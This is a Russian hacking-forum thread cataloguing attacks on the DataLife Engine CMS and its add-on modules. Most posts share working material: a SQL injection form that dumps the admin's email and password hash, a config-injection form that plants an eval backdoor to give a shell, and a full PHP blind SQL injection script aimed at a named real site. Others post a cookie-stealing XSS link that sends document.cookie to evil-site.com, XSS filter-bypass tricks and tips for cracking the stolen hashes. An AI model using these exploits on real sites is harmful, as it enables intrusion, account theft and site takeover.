[ Обзор уязвимостей DataLife Engine ]

Discussion in 'Веб-уязвимости' started by Solide Snake, 28 Oct 2007.

  1. #Wolf#

    #Wolf# Elder - Старейшина

    Joined:
    26 Mar 2008
    Messages:
    375
    Likes Received:
    166
    Reputations:
    16
    чтобы php код исполнялся в шаблонах (tpl)
    надо:
    В файле index.php, заменить
    PHP:
    echo $tpl->result['main'];
    на
    PHP:
    function incphp($str)
    {
    $a = explode('<?', $str);
    echo $a[0];
    for ($i=1; $i<sizeof($a); $i++)
    {
    $b = explode('?>', $a[$i]);
    eval($b[0]);
    if (sizeof($b)>1) echo $b[1];
    }
    }
    incphp($tpl->result['main']);
    Теперь Вы можете в любом тексте между тегами <? ... ?> выполнять PHP код.
    (с) dle-news.ru
    так что облом
    ---------------------------------------------
    загружать шелл через добавление новости тоже не получается.
    1) не отображается полный путь файлы\а(шелла) т.к при загрузке скрипт сам дописывает цыфры перед файлом.
    2) в папке uploads/files (куда складываются файлы) лежит .htaccess в котором:
    PHP:
    <FilesMatch ".*">
       
    Order allow,deny
       Deny from all
    </FilesMatch>

    <
    FilesMatch "\.(avi|mp3|mp4|flv|swf|wmv)$|^$">
       
    Order deny,allow
       Allow from all
    </FilesMatch>
    DLE 7.0
     
    #21 #Wolf#, 24 Jun 2008
    Last edited: 24 Jun 2008
  2. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Datalife Engine XSRF пытались залатать...... :rolleyes:
    обойти:
    вместо javascript пишем Javascript
    вместо document.cookie пишем Document.cookie ;)
     
    #22 sabe, 1 Aug 2008
    Last edited: 1 Aug 2008
    2 people like this.
  3. Lawrence

    Lawrence New Member

    Joined:
    3 Aug 2008
    Messages:
    1
    Likes Received:
    1
    Reputations:
    0
    Datalife ветки 6.x

    Весьма интересные вещи творятся когда пользователь повторно заходит в систему под своим аккаунтом (имеется ввиду проходит аутентификацию по кукисам). Запрос браузера:
    Code:
    GET http://www.site.net/ HTTP/1.0
    Cookie: dle_twsf_t=a%3A1%3A%7Bi%3A19%3Bi%3A1205043514%3B%7D; dle_onl_session=-062044f577ca1d58adabaf005e0bf5bf; dle_name=Kit; dle_password=1ad092fcfc34d69ebef9f3c745aea027; dle_newpm=0; PHPSESSID=062044f577ca1d58adabaf005e0bf5bf
    Host: www.site.net
    Параметр dle_onl_session уязвим, однако при попытки сформировать "злой" запрос мы натыкаемся на повторное использование этого же параметра в другом SQL запросе, результат: очередной MySQL error. Может у кого-то получится пойти дальше?

    P.S. Т.к. MySQL error показывает неудачные запросы, есть возможность XSS атаки, однако чужие кукисы "угнать" не получится.
     
    1 person likes this.
  4. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    #24 sabe, 5 Aug 2008
    Last edited: 5 Aug 2008
  5. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Нашёл XSS в Datalife Engine v 6.7 (в остальных версиях не проверял, по инету потыкался, везде где доступна админка, вроде работает):

    В файле: http://site/admin.php
    Code:
    Cookie: dle_lastusername='><script>alert(/XSS/)</script>
     
    #25 Qwazar, 18 Aug 2008
    Last edited: 18 Aug 2008
  6. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    Dle forum 2.1 (возможно, последующие версии, не проверял)
    Эксплойт, получение логина, хеша, мыла админа:
    Code:
    <form action="http://evil.com/?do=forum&act=category" method="post"> 
     <input name="cid" value="-99' union select 1,2,3,4,5,6,7,8,9,concat(email,':',password,':',name),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from dle_users where user_group=1 limit 1/*"/>  
    <input type="submit" value="ok"/>  
    </form>
    Действие эксплойта основано на том, что встроенная функция dle check_xss() проверяет на нехорошие символы ' " < > лишь строку $QUERY_STRING, а пост, куки итд запросы остаются непроверенными. Подозреваю, что основной движок страдает тем же самым.
    Dle <=6.7 (возможно, последующие версии, не проверял)
    Эксплойт, дающий шелл (использовать залогиненным админом) :
    Code:
    <form action="http://evil.com/admin.php?mod=options&action=syscon" method="post">
    <input name="save_con[test');@eval(trim(stripslashes($lala)));$config=array('test]" value="test"/>
     <input type=hidden name=action value=dosavesyscon>
    <input type="submit" value="ok"/>
    </form>
    далее
    HTML:
    http://evil.com/adm.php?mod=options&action=syscon&lala=phpcode();
    Действие эксплойта основано на том, что при записи конфига в соотв. пхп-файл, проверяется на нехорошие символы только значение параметра, а само имя параметра-нет+если в массиве конфига послать новый параметр, которого не было, то он успешно запишется в конфиг
    ЗЫ хеш зашифрован md5(md5()). Такого вида хеши успешно расшифровываются большинством онлайн-сервисов
    Я кончил.
     
    #26 devscripts, 2 Oct 2008
    Last edited by a moderator: 8 Jun 2009
    6 people like this.
  7. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    1 person likes this.
  8. l-l00K

    l-l00K Banned

    Joined:
    26 Nov 2006
    Messages:
    233
    Likes Received:
    433
    Reputations:
    287
    Blind slq-inj в модуле галерея для dle, в параметре news_sort
    Уязв.код (news_sort) :
    show_cat.php
    PHP:
    if ( isset($_POST['news_sort']) ) $galConfig['news_sort'] = mysql_escape_string($_POST['news_sort']); elseif ($gal_cat[$category_id]['news_sort'] != ""$galConfig['news_sort'] = $gal_cat[$category_id]['news_sort'];
    if ( isset(
    $_POST['news_msort']) ) $galConfig['news_msort'] = mysql_escape_string($_POST['news_msort']); elseif ($gal_cat[$category_id]['news_msort'] != ""$galConfig['news_msort'] = $gal_cat[$category_id]['news_msort'];

    if (
    $galConfig['user_cats_limit']) $sear "(" PREFIX "_gal_cat.cat_status = '0' OR " PREFIX "_gal_cat.cat_status = '2') AND " PREFIX "_gal_pic.approve='1'"; else $sear "" PREFIX "_gal_cat.cat_status = '0' AND " PREFIX "_gal_pic.approve='1'";

    $result $db->query("SELECT " PREFIX "_gal_pic.*, " PREFIX "_gal_cat.cat_title, cat_alt_name, allow_rating, allow_comm FROM " PREFIX "_gal_pic LEFT JOIN " PREFIX "_gal_cat ON " PREFIX "_gal_pic.pic_cat_id=" PREFIX "_gal_cat.cat_id WHERE " PREFIX "_gal_cat.cat_alt_name='$category' AND $sear AND " PREFIX "_gal_cat.cat_view_level regexp '[[:<:]]($member_id[user_group])[[:>:]]' ORDER BY ".$galConfig['news_sort']." ".$galConfig['news_msort']." LIMIT $cstart$lim");
    Как видим данные из news_sort попадают в функцию mysql_escape_string, но так как в запросе данные не обрамляются кавычками, эта функция никаким образом не помешает проведению sql инъекции

    Пример запроса:
    Code:
    POST /index.php?do=gallery&action=show_cat&category=gorod HTTP/1.1
    Host: www.simfilife.net
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127
    Keep-Alive: 300
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 133
    news_sort=if(ord(substring((select password from dle_users where user_id=1),1,1))>4,(select 1 from dle_usergroups),0)&news_msort=DESC
    Exploit:
    PHP:
    <?php
     set_time_limit
    (0);
     
    /*-----------------------------------------------------*/ 
    //Эксплойт для неофициального модуля Gallery для DLE
    //Автор: l-l00K
    //Black Toad Team
    /*-----------------------------------------------------*/  

    /*-----------------Настройки---------------------------*/  
     
    $good "MySQL Fatal Error";
     
    $bad "robots";
     
    $host"simfilife.net";//указываем сайт
     
    $path="/index.php?do=gallery&action=show_cat&category=gorod";//Указываем существующую категорию
     
    $body "news_sort=if(ord(substring((select password from dle_users where user_id=1),";
     
    $index 1;
     
    $result "";
     
    $end ",(select 1 from dle_usergroups),0)&news_msort=DESC";
     
     function 
    GetMiddle($min$max)
     {
      return 
    floor($min+((($max+1)-($min-1))/2));
     }
     
     function 
    post_sql($host,$path,$post_body)
     {
     global 
    $end;
     
    $post_body  .= $end;
     
    $post_query  "POST ".$path." HTTP/1.1\r\n";
     
    $post_query .= "Host: ".$host."\r\n";
     
    $post_query .= "Connection: close\r\n";
     
    $post_query .= "Content-Type: application/x-www-form-urlencoded\r\n";
     
    $post_query .= "Content-length: " strlen($post_body) . "\r\n\r\n";
     
    $post_query .= $post_body;

     
    $sock fsockopen($host80$errno$errstr30);
     
     if (!
    $sock) die('Could not connect to host! ');

     
    fputs($sock$post_query);
     global 
    $good;
     global 
    $bad;
     
    $answer '';
     while (!
    feof($sock)) {
        
    $answer .= fgets($sock1024);
        if (
    strpos($answer,$good)) 
        {
         
    fclose($sock);
         return 
    true;
        }
        if (
    strpos($answer,$bad))
        {
          
    fclose($sock);
          return 
    false;
        }
     }
     
    fclose($sock);
     return 
    false;
    }

    function 
    Check($min,$max)
    {
     if ((
    $max-$min)<=2)
      {
      global 
    $index;
      global 
    $result;
      global 
    $host;
      global 
    $path;
      global 
    $body;
      echo 
    "Символ найден: ";
      if ((
    $max-$min)==1)
      if (
    post_sql($host$path$body.$index.",1))={$max}")) 
       
    $result .=chr($max); else $result .=chr($min);
      if ((
    $max-$min)==2)
      {
      if (
    post_sql($host$path$body.$index.",1))>{$max}-1"))
      {
        
    $result .=chr($max);
      } else
      {
       if(
    post_sql($host$path$body.$index.",1))={$max}-1"))
        
    $result .=chr($max-1); else $result .=chr($min);  
      }
      }
       echo 
    substr($result,strlen($result)-1)."<br>";
       
    flush();
       
    $index++;
        return 
    true;
      } else return 
    false;
    }

    $bool true;
    while (
    $bool==true)
    {
     if (
    post_sql($host$path$body.$index.",1))>0")) 
     {
      echo (
    "Символ есть, идет подбор...<br>");
      
    flush();
      
    $ok true;
     }
     else 
     {
     echo (
    "Символы кончились <br>");
      
    $ok false;
      
    $bool false;
      echo 
    $result;
     }
     
    $min 31;
     
    $max 123;
     while (
    $ok == true)
     {
      
    $num GetMiddle($min,$max);
      if (!
    check($min,$max))
      {
      if (
    post_sql($host$path$body.$index.",1))<{$num}")) 
      {
       echo(
    "Меньше $num <br>");
       
    $max $num;
      } else
      {
       echo (
    "Больше $num <br>"); 
       
    $min $num;
      } 
      
    flush();
     } else 
    $ok false;
     } 
    }

    ?>
     
    #28 l-l00K, 30 Nov 2008
    Last edited: 30 Nov 2008
    8 people like this.
  9. as3kpwnz

    as3kpwnz Member

    Joined:
    15 Dec 2008
    Messages:
    39
    Likes Received:
    25
    Reputations:
    0
    Все еще актуальный баг ,но уже не преставляет никакой ценности ,ибо отображается содержимое скрипта vote.tpl

    Достаточно добавить несколько строчек ,и вместо странички с этими ненужными данными будет красоваться "Hacking attemp"

    Code:
    if ($_REQUEST['vote_skin']) {
    $qw=$_REQUEST['vote_skin'];
    $qqq=preg_match("/^[a-zA-Z0-9]+$/",$qw);
    if($qqq){
        if (is_dir(ROOT_DIR.'/templates/'.$qw))
            {
                $config['skin'] = $qw;
            }
    }
    else {
    die("Hacking attempt!");
    }
    
     
  10. Xe-Xe

    Xe-Xe New Member

    Joined:
    4 Dec 2007
    Messages:
    3
    Likes Received:
    2
    Reputations:
    0
    свеженькая XSS для DLE <= 7.2 от Hadi Kiamarsi
    Code:
    http://victim-site.com/admin.php/%3E%22%3E%3CScRiPt%3Ealert('Hadi-Kiamarsi')%3C/ScRiPt%3E
    
    готовый к работе
    Code:
    http://victim-site.com/admin.php/%3E%22%3E%3CScRiPt%3Evar Xcook=document.cookie;document.images[0].src='http://evil-site.com%3F'+Xcook%3C/ScRiPt%3E
    
     
    2 people like this.
  11. #Wolf#

    #Wolf# Elder - Старейшина

    Joined:
    26 Mar 2008
    Messages:
    375
    Likes Received:
    166
    Reputations:
    16
    http://dle-news.ru/engine/ajax/updates.php
    тут палить нулленый движки :D
     
    #31 #Wolf#, 16 Jan 2009
    Last edited: 25 Aug 2009
    3 people like this.
  12. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Расскрыите путей:
    Code:
    http://site.ru/index.php?do=register&doaction=validating&step=2&id[]=1
    (c) mailbrush
     
    5 people like this.
  13. #Wolf#

    #Wolf# Elder - Старейшина

    Joined:
    26 Mar 2008
    Messages:
    375
    Likes Received:
    166
    Reputations:
    16
    раскрытие путей
    результат
    UPD

    UPD
    для тех у кого есть доступ в админку(журналисты, модераторы и выше)
    (c) #Wolf#

    ps
    http://dle-news.ru/bags/v75/570-nedostatochnaya-filtraciya-vxodyashhix-dannyx.html
     
    #33 #Wolf#, 10 Feb 2009
    Last edited: 11 Dec 2012
    2 people like this.
  14. -Hormold-

    -Hormold- Кто, если не ты?

    Joined:
    29 Sep 2007
    Messages:
    418
    Likes Received:
    290
    Reputations:
    44
    Модули DLE

    Youtube Video Downloader
    Версия: 1.0


    Пассивная-XSS :(
    Собственно
    Уязвимый скрипт: youtubedownloader.php
    Запрос: http://www.youtube.com/watch?v=Gw0Ysp47hl8"><h1>simple</h1>
    Метод: POST
    Уязвимый кусок кода:
    PHP:
    $video="$_POST[video]"
    $video2 explode("watch?v="$video); 
    $video2 explode("&"$video2[1]); 
    $video2 $video2[0]; 
    /////........
    $pic="http://img.youtube.com/vi/$video2/default.jpg"
    $youtube .="<center><br><b>$title</b><br><br><img src=\"$pic\"><br><br><a href=\"http://www.youtube.com/get_video?$link\">[ Download ]</a></center>"

     
    3 people like this.
  15. -Hormold-

    -Hormold- Кто, если не ты?

    Joined:
    29 Sep 2007
    Messages:
    418
    Likes Received:
    290
    Reputations:
    44
    SPAM BUTTON in PM
    Версия: v.1.0


    Раскрытие путей

    Уязвимый скрипт: engine\inc\pmspam.php
    Запрос: --
    Метод: --
    Уязвимый кусок кода:
    PHP:
    //До этого нет объявление функции и каких-либо includ'ов
    echoheader("SPAM in PM""Админпанель модуля \"SPAM IN PM\" v.1.0 BY GRIMWEB");
     
  16. -Hormold-

    -Hormold- Кто, если не ты?

    Joined:
    29 Sep 2007
    Messages:
    418
    Likes Received:
    290
    Reputations:
    44
    SPAM BUTTON in PM
    Версия: v.1.0


    ВОЗМОЖНО Sql-INJ

    Уязвимый скрипт: engine\inc\pmspam.php
    Запрос: flag=-1'
    Метод: POST
    Уязвимый кусок кода:
    PHP:
      if($_POST['spam_flag'])
      {
          foreach (
    $_POST['spam_flag'] as $key => $value)
          {
            
    $delete_spam_query "DELETE FROM " PREFIX "_spam_pm WHERE id = '$value'";
            
    $delete_spam_query_id $db->query($delete_spam_query);
              if(!
    $delete_spam_query)
              {
                
    $spam_err true;
              }
          }
      }
     
  17. -Hormold-

    -Hormold- Кто, если не ты?

    Joined:
    29 Sep 2007
    Messages:
    418
    Likes Received:
    290
    Reputations:
    44
    DLE HACK SERVICE BETA
    Версия: v.1.0


    Расскрытие путей

    Уязвимый скрипт: engine\inc\md5.php
    Запрос: pass[]=md5
    Метод: POST
    Уязвимый кусок кода:
    PHP:
    if (isset($_POST['pass'])) {
       
    $pass=trim(htmlspecialchars($_POST['pass']));
       
    $pass=md5($pass);
    }
     
  18. -Hormold-

    -Hormold- Кто, если не ты?

    Joined:
    29 Sep 2007
    Messages:
    418
    Likes Received:
    290
    Reputations:
    44
    Простой мини чат для Dle
    Версия: v.1.0


    Расскрытие путей

    Уязвимый скрипт: shout.php
    Запрос: name[]=1&message[]=msg
    Метод: POST
    Уязвимый кусок кода:
    PHP:
    if (isset($_POST["name"], $_POST["message"])){
        
    $name iconv("UTF-8""windows-1251"$_POST["name"]);
        
    $message iconv("UTF-8""windows-1251"$_POST["message"]);
    Ошибка вызывается тем, что iconv неможет обработать Массив который передаётся через POST
     
  19. -Hormold-

    -Hormold- Кто, если не ты?

    Joined:
    29 Sep 2007
    Messages:
    418
    Likes Received:
    290
    Reputations:
    44
    Простой мини чат для Dle
    Версия: v.1.0


    Активная XSS

    Уязвимый скрипт: shout.php
    Запрос: name=<h1> 1 </h1>&message=<h1> xsss </h1>
    Метод: POST
    Уязвимый кусок кода:
    PHP:
    if (isset($_POST["name"], $_POST["message"])){
        
    $name iconv("UTF-8""windows-1251"$_POST["name"]);
        
    $message iconv("UTF-8""windows-1251"$_POST["message"]);
               
    ///........
                
    $file[] = $id."¤".$name."¤".$message."¤".time()."\n";
                
    ///........
                
    foreach ($file as $msgfwrite($fp$msg); 
    ///........
    Этот баг даёт возможность поставить сниффер, и ловить куки ;)
     
  20. -Hormold-

    -Hormold- Кто, если не ты?

    Joined:
    29 Sep 2007
    Messages:
    418
    Likes Received:
    290
    Reputations:
    44
    profileZ. Смена логина
    Версия: v.1.5


    Sql-INJ

    Уязвимый скрипт: engine/modules/profile.php
    Запрос: usertitle=-1'
    Метод: POST
    Уязвимый кусок кода:
    PHP:
        $usertitle=$_POST['usertitle'];
        if (
    strlen($password1)>0) {

        
    $password1 md5(md5($password1));
        
        
    $sql_user "UPDATE " USERPREFIX "_users set name='$usertitle', fullname='$fullname', land='$land', icq='$icq', email='$email', info='$info', signature='$signature', password='$password1', allow_mail='$allow_mail', xfields='$filecontents', allowed_ip='$allowed_ip' where name='$user'";
        
        } else {
        
    $sql_user "UPDATE " USERPREFIX "_users set name='$usertitle', fullname='$fullname', land='$land', icq='$icq', email='$email', info='$info', signature='$signature', allow_mail='$allow_mail', xfields='$filecontents', allowed_ip='$allowed_ip' where name='$user'";
        
        }